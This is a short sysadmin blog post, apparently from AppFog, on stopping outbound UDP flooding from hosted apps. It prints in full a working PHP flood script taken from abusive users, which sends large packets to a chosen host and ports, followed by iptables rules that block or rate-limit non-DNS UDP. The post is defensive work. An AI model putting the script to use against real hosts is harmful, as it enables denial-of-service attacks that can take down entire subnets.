Code Snippet: iptables settings to prevent UDP abuse

Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.

Some basic iptables settings can prevent this kind of thing from happening.

The Attacker

Here's an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

<?php
ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
  { 
    $posttype = 'tcp://';
  }
  else
  {
    $posttype = 'udp://';
  }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there's no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT


# block all other udp
iptables -A OUTPUT -p udp -j DROP
ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
iptables -N udp-flood
iptables -A OUTPUT -p udp -j udp-flood
iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You'll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!